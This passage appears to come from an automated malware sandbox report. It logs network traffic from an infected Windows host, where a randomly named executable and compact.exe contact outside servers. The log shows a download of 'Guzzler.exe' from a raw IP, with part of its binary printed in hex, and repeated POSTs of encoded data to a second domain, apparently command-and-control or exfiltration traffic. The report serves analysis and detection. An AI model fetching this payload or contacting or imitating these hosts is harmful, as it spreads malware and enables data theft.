                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                Jun 5, 2024 18:28:27.782378912 CEST212INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-268
                                Jun 5, 2024 18:28:27.782807112 CEST1236INData Raw: 35 2e 37 34 34 31 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30
                                Data Ascii: 5.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000;stroke-width:0.1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" d="m 145.0586,263.51309 c -90.20375,-0.0994 -119.20375,-0.0994 -119
                                Jun 5, 2024 18:28:27.782883883 CEST1236INData Raw: 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 34 39 36 22 0a 20 20 20 20
                                Data Ascii: nejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0071,6.75165 -0.0107,10.12897 m 0.512159,0.18258 c -1.914603,-0.23621 -3.505591,1.17801 -4.861444,2.68113 -
                                Jun 5, 2024 18:28:27.782902956 CEST1236INData Raw: 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 31 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 37 34 2e
                                Data Ascii: ke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.3433 -18.781379,20.01048 -5.583823,6.66719 -10.749655,1
                                Jun 5, 2024 18:28:27.782915115 CEST1236INData Raw: 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72
                                Data Ascii: none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.2
                                Jun 5, 2024 18:28:27.782932997 CEST848INData Raw: 20 20 69 64 3d 22 70 61 74 68 34 35 33 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 38 39 2c 31 32 33 2e 36 36 32 34 38 20 63 20 36 2e 31 35 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35
                                Data Ascii: id="path4533" d="m 89,123.66248 c 6.159885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80
                                Jun 5, 2024 18:28:27.782946110 CEST1236INData Raw: 34 20 2d 31 2e 32 33 37 33 31 2c 33 34 2e 31 31 35 33 36 20 2d 32 2e 31 38 30 31 34 2c 35 33 2e 36 32 30 31 35 20 2d 30 2e 39 34 32 38 32 2c 31 39 2e 35 30 34 37 38 20 2d 32 2e 30 30 33 34 32 39 2c 33 37 2e 31 38 31 35 39 20 2d 33 2e 30 36 34 31
                                Data Ascii: 4 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.064154,54.86032" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" />
                                Jun 5, 2024 18:28:27.782954931 CEST212INData Raw: 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 34 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 37 39 2e 32 35 34 37 38 2c 31 32 34 2e 32 33 32 36 36 20 63 20 2d 35 2e 34 34 30 31 39 32 2c 31 31 2e
                                Data Ascii: th id="path4549" d="m 79.25478,124.23266 c -5.440192,11.56251 -10.880951,23.12622 -15.899657,33.56368 -5.018706,10.43747 -9.614414,19.74672 -11.912808,26.70033 -2.298394,6.95362 -2.29839
                                Jun 5, 2024 18:28:27.782968998 CEST1236INData Raw: 34 2c 31 31 2e 35 34 39 32 32 20 2d 31 2e 33 35 35 34 31 39 2c 32 34 2e 35 37 34 31 35 20 30 2e 39 34 32 39 37 34 2c 31 33 2e 30 32 34 39 33 20 32 2e 38 32 38 31 38 32 2c 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34
                                Data Ascii: 4,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-
                                Jun 5, 2024 18:28:27.787244081 CEST1236INData Raw: 69 64 3d 22 70 61 74 68 34 35 32 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 31 33 32 2e 36 38 37 35 2c 32 36 33 2e 33 34 39 39 38 20 63 20 2d 34 2e 32 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38
                                Data Ascii: id="path4529" d="m 132.6875,263.34998 c -4.2289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" />


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                20192.168.2.749730162.0.213.94804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:29.526376963 CEST447OUTGET /e20q/?9d=WPritX3A9R+ySLDHKkvQUC0K3y08yWvw5+tRT3chZ2wpNsEUE7uyewm5xlmwIO2sKs7uf3/86JENB8xtRbvRK6PKTUJmFuSnUKaTSFytHSrQj6qyTDgK0xjAREMwU5wVtegslCXYDiBq&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.lenovest.xyz
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:28:31.295506954 CEST211INHTTP/1.1 200 OK
                                Date: Wed, 05 Jun 2024 16:28:31 GMT
                                Server: Apache
                                Content-Length: 60
                                Connection: close
                                Content-Type: text/html; charset=utf-8
                                Data Raw: 55 50 33 34 77 48 50 46 6c 78 32 6e 42 4b 43 43 4b 33 50 66 42 32 64 38 76 57 78 50 68 43 43 38 67 6f 4d 49 46 43 35 69 5a 55 45 4b 65 75 59 69 4d 4f 57 4f 54 54 57 37 30 48 47 34
                                Data Ascii: UP34wHPFlx2nBKCCK3PfB2d8vWxPhCC8goMIFC5iZUEKeuYiMOWOTTW70HG4


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                21192.168.2.7497312.56.245.142807628C:\Windows\SysWOW64\compact.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:35.306394100 CEST186OUTGET /Guzzler.exe HTTP/1.1
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Host: 2.56.245.142
                                Connection: Keep-Alive
                                Cache-Control: no-cache
                                Jun 5, 2024 18:28:36.122766018 CEST1236INHTTP/1.1 200 OK
                                Date: Wed, 05 Jun 2024 16:28:35 GMT
                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                Last-Modified: Tue, 04 Jun 2024 18:51:40 GMT
                                ETag: "17d520-61a14f0b9e40f"
                                Accept-Ranges: bytes
                                Content-Length: 1561888
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: application/x-msdownload
                                Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad f1 28 81 e9 90 46 d2 e9 90 46 d2 e9 90 46 d2 2a 9f 19 d2 eb 90 46 d2 e9 90 47 d2 77 90 46 d2 2a 9f 1b d2 e6 90 46 d2 bd b3 76 d2 e3 90 46 d2 2e 96 40 d2 e8 90 46 d2 52 69 63 68 e9 90 46 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f0 d4 f6 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 64 00 00 00 7c 02 00 00 04 00 00 6b 32 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 50 0a 00 00 04 00 00 cf fb 17 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 85 00 00 a0 00 00 00 00 f0 [TRUNCATED]
                                Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(FFF*FGwF*FvF.@FRichFPEL]d|k2@P@<0Q8.textbd `.rdataJh@@.dataU|@.ndata.rsrc0QR@@
                                Jun 5, 2024 18:28:36.122792006 CEST1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                Data Ascii: U\}t+}FEuHBHPuuu@BSV5BEWPu@eEEPu@}e`@FRVV
                                Jun 5, 2024 18:28:36.122802973 CEST1236INData Raw: 8b fa c1 e6 0a b9 00 00 43 00 89 5d fc c1 e7 0a 03 f1 03 f9 8d 4d cc 89 0d 54 b8 40 00 8b 4d c8 83 c1 fe 83 f9 41 0f 87 2f 15 00 00 ff 24 8d ca 29 40 00 53 50 e8 a0 3c 00 00 e9 b2 0e 00 00 ff 05 cc eb 42 00 39 5d f8 0f 84 a3 0e 00 00 53 ff 15 78
                                Data Ascii: C]MT@MA/$)@SP<B9]Sx@PHSPSPf<S.YU3@P@uD@9]u&BjBYUMBBBwE4B3;
                                Jun 5, 2024 18:28:36.122838020 CEST1236INData Raw: 00 6a f0 e8 f3 11 00 00 ff 75 d0 50 e8 96 3e 00 00 e9 71 10 00 00 6a 01 e8 de 11 00 00 50 e8 d2 46 00 00 e9 8b 0c 00 00 6a 02 e8 aa 11 00 00 6a 03 89 45 ec 89 55 f0 e8 9d 11 00 00 59 8b f8 8b 45 ec 59 6a 01 89 7d b0 89 55 b4 89 45 08 e8 a8 11 00
                                Data Ascii: juP>qjPFjjEUYEYj}UEPEF9]uE9]M;}<;;~EPVLF9]}VWFEy]E=0j 8j1/9]PVu@uzE$@3GW
                                Jun 5, 2024 18:28:36.122844934 CEST1236INData Raw: 81 40 00 6a 02 8b f8 e8 f9 0c 00 00 59 8b d8 6a 48 6a 5a 57 89 55 f0 ff 15 64 80 40 00 50 53 ff 15 44 81 40 00 57 ff 75 f8 f7 d8 a3 18 b8 40 00 ff 15 f4 81 40 00 6a 03 e8 c8 0c 00 00 a3 28 b8 40 00 8a 45 dc 59 89 55 f0 ff 75 d0 8a c8 80 e1 01 c6
                                Data Ascii: @jYjHjZWUd@PSD@Wu@@j(@EYUu/@,@$h4@-@.@Ah@X@USujUi9]YYUPVuH@@Scj1Zj"QjHj8EEEE
                                Jun 5, 2024 18:28:36.122914076 CEST1060INData Raw: f9 e8 58 2e 00 00 e9 9f 04 00 00 8b 45 f8 56 89 45 98 c7 45 9c 02 00 00 00 e8 2f 3d 00 00 57 88 5c 30 01 e8 25 3d 00 00 88 5c 38 01 8b 45 08 66 8b 4d d4 50 53 89 75 a0 89 7d a4 89 45 b2 66 89 4d a8 e8 17 2e 00 00 8d 45 98 50 ff 15 7c 81 40 00 85
                                Data Ascii: X.EVEE/=W\0%=\8EfMPSu}EfM.EP|@=th jS<P3kBU33;tSU;tj9]tj"jPSWV@@f@jfEtjkjEaP
                                Jun 5, 2024 18:28:36.122920990 CEST1236INData Raw: 59 89 55 f0 ff 75 d8 53 50 56 e8 7b 38 00 00 50 ff 15 38 81 40 00 39 5d d0 0f 8c 9c 02 00 00 e9 3d 02 00 00 56 e8 60 38 00 00 3b c3 0f 84 89 02 00 00 50 ff 15 34 81 40 00 e9 7d 02 00 00 57 e8 46 38 00 00 3b c3 74 12 8d 8d 38 fe ff ff 51 50 ff 15
                                Data Ascii: YUuSPV{8P8@9]=V`8;P4@}WF8;t8QP0@u?ESj8QP,@uE)PW7dPV3jEf{VuY2ujeV3jh@V3EB5X@
                                Jun 5, 2024 18:28:36.122927904 CEST1236INData Raw: 08 e8 cd ff ff ff 50 e8 e7 32 00 00 f7 d8 1b c0 f7 d0 23 45 10 5d c2 0c 00 55 8b ec 56 8b 75 0c 80 3e 00 75 07 b8 eb 03 00 00 eb 2c 81 4d 10 20 00 10 00 8d 45 10 50 ff 75 08 e8 94 ff ff ff 50 e8 05 32 00 00 85 c0 74 0c ff 75 10 56 50 e8 0a 00 00
                                Data Ascii: P2#E]UVu>u,M EPuP2tuVPjX^]USVuWEPPuu:2uv0@uNuPuuhPjutu$@j6tjVuuu$@
                                Jun 5, 2024 18:28:36.122934103 CEST1236INData Raw: 0f 8e 58 01 00 00 be 00 40 00 00 39 75 14 7d 03 8b 75 14 bf 28 d4 41 00 56 57 e8 49 01 00 00 85 c0 0f 84 2f 01 00 00 29 75 14 89 3d 60 b8 40 00 89 35 64 b8 40 00 8b 7d f4 8b 45 f8 68 60 b8 40 00 89 3d 68 b8 40 00 a3 6c b8 40 00 e8 d7 33 00 00 85
                                Data Ascii: X@9u}u(AVWI/)u=`@5d@}Eh`@=h@l@3E5h@+BtC+E=w}u3Eu+EjdPD@PEh @Pt@EPj}t5}uVuu*t/uh@u)uE}Kq}
                                Jun 5, 2024 18:28:36.122941971 CEST636INData Raw: 42 00 ff e8 ac 02 00 00 89 44 24 18 e8 c9 01 00 00 ff 15 80 82 40 00 39 5c 24 10 5d 0f 84 1e 01 00 00 68 10 00 20 00 ff 74 24 10 e8 83 21 00 00 6a 02 ff 15 84 80 40 00 e8 e1 20 00 00 68 50 a1 40 00 56 8b f8 e8 69 2a 00 00 3b fb 74 0b 68 4c a1 40
                                Data Ascii: BD$@9\$]h t$!j@ hP@Vi*;thL@VZ*hD@VO*\CUV@t;Vt { V@8TCuUhTC)t$hC)f@@3j%A@]0BfCB W)W(@9\$t?jWhlC
                                Jun 5, 2024 18:28:36.128164053 CEST1236INData Raw: ff 85 c0 75 03 40 eb 2c 6a 0c 6a 40 ff 15 58 81 40 00 85 c0 74 1b 8b 4c 24 0c 89 70 08 89 48 04 8b 0d 34 98 42 00 89 08 a3 34 98 42 00 33 c0 eb 03 83 c8 ff 5e c2 08 00 83 ec 10 53 55 56 8b 35 14 f4 42 00 57 6a 02 e8 67 2b 00 00 33 db 3b c3 74 12
                                Data Ascii: u@,jj@X@tL$pH4B4B3^SUV5BWjg+3;tPh`C'TpBSWShD@h`C0`Cx`Cs&8pBuSWhb@h@hU&Wh`C'@BTC UBB!NH;tzVLX


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                22192.168.2.749732172.82.177.221804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:41.897675991 CEST696OUTPOST /2ha1/ HTTP/1.1
                                Host: www.931951.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.931951.com
                                Referer: http://www.931951.com/2ha1/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 6d 34 43 65 79 48 49 64 63 33 56 6a 35 4c 78 34 46 4c 44 5a 39 58 2f 62 55 34 42 50 54 47 57 31 44 4d 71 54 35 6e 2b 4b 42 79 55 52 6a 6d 32 6d 63 52 4a 77 38 4f 4a 43 48 5a 33 67 33 79 62 54 4b 34 75 37 31 41 55 52 67 33 62 57 4b 6a 7a 54 47 71 56 66 4c 6b 4c 32 35 37 52 6a 76 6e 59 64 64 38 5a 66 59 5a 78 79 43 45 2b 32 65 43 46 70 68 6b 48 34 49 38 4a 4a 74 51 36 66 73 2b 77 77 61 44 68 53 51 65 7a 75 7a 33 4d 37 46 59 73 6a 78 57 6d 44 5a 74 4a 33 4d 54 41 6a 6b 4c 46 48 79 79 6c 76 54 4a 61 2b 5a 73 79 79 46 77 49 44 68 6a 63 61 4e 6d 57 6b 32 65 6f 31 57 54 6e 4b 45 63 4d 4f 46 2b 67 4d 6c 35 47 48 7a 77 68 52 2f 77 3d 3d
                                Data Ascii: 9d=m4CeyHIdc3Vj5Lx4FLDZ9X/bU4BPTGW1DMqT5n+KByURjm2mcRJw8OJCHZ3g3ybTK4u71AURg3bWKjzTGqVfLkL257RjvnYdd8ZfYZxyCE+2eCFphkH4I8JJtQ6fs+wwaDhSQezuz3M7FYsjxWmDZtJ3MTAjkLFHyylvTJa+ZsyyFwIDhjcaNmWk2eo1WTnKEcMOF+gMl5GHzwhR/w==


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                23192.168.2.749733172.82.177.221804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:44.430041075 CEST716OUTPOST /2ha1/ HTTP/1.1
                                Host: www.931951.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.931951.com
                                Referer: http://www.931951.com/2ha1/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 6d 34 43 65 79 48 49 64 63 33 56 6a 34 71 42 34 4a 49 72 5a 34 33 2f 59 49 6f 42 50 63 6d 57 35 44 4d 6d 54 35 6d 37 48 43 41 77 52 67 43 36 6d 64 54 68 77 2f 4f 4a 43 4a 35 33 6c 34 53 62 61 4b 34 7a 59 31 41 59 52 67 33 50 57 4b 6d 33 54 46 64 35 59 4c 30 4c 34 73 72 52 6c 72 6e 59 64 64 38 5a 66 59 5a 6c 55 43 45 32 32 65 79 31 70 68 42 6e 2f 57 73 4a 47 71 51 36 66 6d 65 77 30 61 44 68 30 51 63 48 55 7a 31 30 37 46 5a 63 6a 79 48 6d 63 4b 4e 4a 78 42 7a 42 71 31 36 55 6c 33 68 70 38 65 66 54 68 57 75 54 52 4e 6d 56 68 37 42 51 32 54 33 75 66 79 63 4d 44 42 31 36 2f 47 64 49 57 49 63 55 74 36 4f 6a 74 2b 69 41 56 70 4e 51 41 32 5a 35 7a 4b 56 4c 33 39 55 58 71 6a 75 38 51 57 35 6f 3d
                                Data Ascii: 9d=m4CeyHIdc3Vj4qB4JIrZ43/YIoBPcmW5DMmT5m7HCAwRgC6mdThw/OJCJ53l4SbaK4zY1AYRg3PWKm3TFd5YL0L4srRlrnYdd8ZfYZlUCE22ey1phBn/WsJGqQ6fmew0aDh0QcHUz107FZcjyHmcKNJxBzBq16Ul3hp8efThWuTRNmVh7BQ2T3ufycMDB16/GdIWIcUt6Ojt+iAVpNQA2Z5zKVL39UXqju8QW5o=


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                24192.168.2.749734172.82.177.221804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:46.992423058 CEST1729OUTPOST /2ha1/ HTTP/1.1
                                Host: www.931951.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.931951.com
                                Referer: http://www.931951.com/2ha1/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 6d 34 43 65 79 48 49 64 63 33 56 6a 34 71 42 34 4a 49 72 5a 34 33 2f 59 49 6f 42 50 63 6d 57 35 44 4d 6d 54 35 6d 37 48 43 41 34 52 6a 78 79 6d 64 79 68 77 2b 4f 4a 43 42 5a 33 6b 34 53 61 49 4b 34 37 45 31 42 6b 72 67 30 33 57 4a 41 4c 54 45 70 74 59 46 30 4c 34 75 72 52 6b 76 6e 5a 66 64 38 4a 62 59 5a 31 55 43 45 32 32 65 77 74 70 6d 55 48 2f 55 73 4a 4a 74 51 36 4c 73 2b 77 63 61 44 4a 4b 51 63 54 45 77 42 49 37 46 35 4d 6a 7a 31 2b 63 4a 74 4a 7a 43 7a 42 79 31 36 59 54 33 6e 4e 4f 65 66 4f 4b 57 74 44 52 62 48 6b 75 71 41 77 5a 41 32 54 45 2f 66 38 2f 4b 46 36 6a 45 38 73 57 4a 2f 77 70 6e 63 66 79 6d 79 38 4c 70 59 74 61 30 50 46 52 4a 52 37 39 78 79 32 43 34 4d 63 75 4e 63 4b 4a 53 43 39 6c 77 68 30 7a 59 71 2f 45 78 2b 48 59 41 50 4e 78 75 37 56 67 6f 50 51 2f 63 67 59 66 44 6d 67 5a 4c 5a 6a 46 74 6b 79 68 57 48 78 48 48 66 47 2f 38 71 4e 33 4a 6e 69 7a 55 42 4c 2f 73 4d 4a 66 51 55 59 66 6c 37 7a 72 69 2b 6a 42 49 4a 54 7a 2b 51 64 71 52 49 2f 4a 74 47 7a 38 4f 79 6a 6f 77 48 58 [TRUNCATED]
                                Data Ascii: 9d=m4CeyHIdc3Vj4qB4JIrZ43/YIoBPcmW5DMmT5m7HCA4Rjxymdyhw+OJCBZ3k4SaIK47E1Bkrg03WJALTEptYF0L4urRkvnZfd8JbYZ1UCE22ewtpmUH/UsJJtQ6Ls+wcaDJKQcTEwBI7F5Mjz1+cJtJzCzBy16YT3nNOefOKWtDRbHkuqAwZA2TE/f8/KF6jE8sWJ/wpncfymy8LpYta0PFRJR79xy2C4McuNcKJSC9lwh0zYq/Ex+HYAPNxu7VgoPQ/cgYfDmgZLZjFtkyhWHxHHfG/8qN3JnizUBL/sMJfQUYfl7zri+jBIJTz+QdqRI/JtGz8OyjowHX9WuLEJpV3DdximuWavdS2LwqDWxFuwqAH2zx2pO0AplDL1JJaJ9P+XRcVxq/tQGJSkTc0bzcKwTrhpEb9Nh7adz610N/G4cMC5tj5eAad3xN0ZBUE9BO7plawNA4Ws05veiLi1cjmNHoVrswsJQae6YfiywYC+WcPRcW6sMPsBUDFBnuMaU89uzc5nz90IP99GR60AsIC6E7xAzpZ6qi5T4XW7yq98xKmmtzzhWhqx3S3lRm9Js3v82r/THy04Gqs8SmDZ8bTu9OzmcmGOdGEEnuRHMKmkFPxtWlNPUJajF5NemLzDkjWVu6nL6AUc4JEBMmq9ftN15d080w5AVFAugS7MwLkeB2+4t+Cg6CgTOGvXH4e8UBO9mZ754EBwYCdUwyc6nVx7RUUvCJrE8MobhpRTraQbKi0w/Ov9FcXP9uI4558fPFVHoOJHBs9aUSvOEpm5oeVOeix8XqBFbaONLGn/LF68v38jrZvRGlAFBbFSxfg1Sbg5fJOshb7pk9knapgaRN2iDgEXEIYqhzSpWdNwLpLpI3prb1qqs1E8dl0cYTjkhx/UXLTwZiugKl5zoGqz0Me80e1NrMr0IcB9LSqJ8+/DvyYerAa3HaRvBaPLakAa9LCGLL7vb5qO/xhVQwvUhJQrBQ4PtdRWnJq30JsqdPt2hMJn [TRUNCATED]


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                25192.168.2.749735172.82.177.221804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:49.534404039 CEST445OUTGET /2ha1/?G0a=VFN0vBc0ol1ljnb0&9d=r6q+x3A/FEQLw6gmNICl4m79J6xGYnb4MeLNvFaSJRcJ7hS0Yil9+YspC9bp8TGkQ6fd6C5Pq3eWOBjFGqN2LEX+h4RptWZDRuVlG4JzOnajShxrpz3BSvEogxiihZ9tHyNye+qQgWsY HTTP/1.1
                                Host: www.931951.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
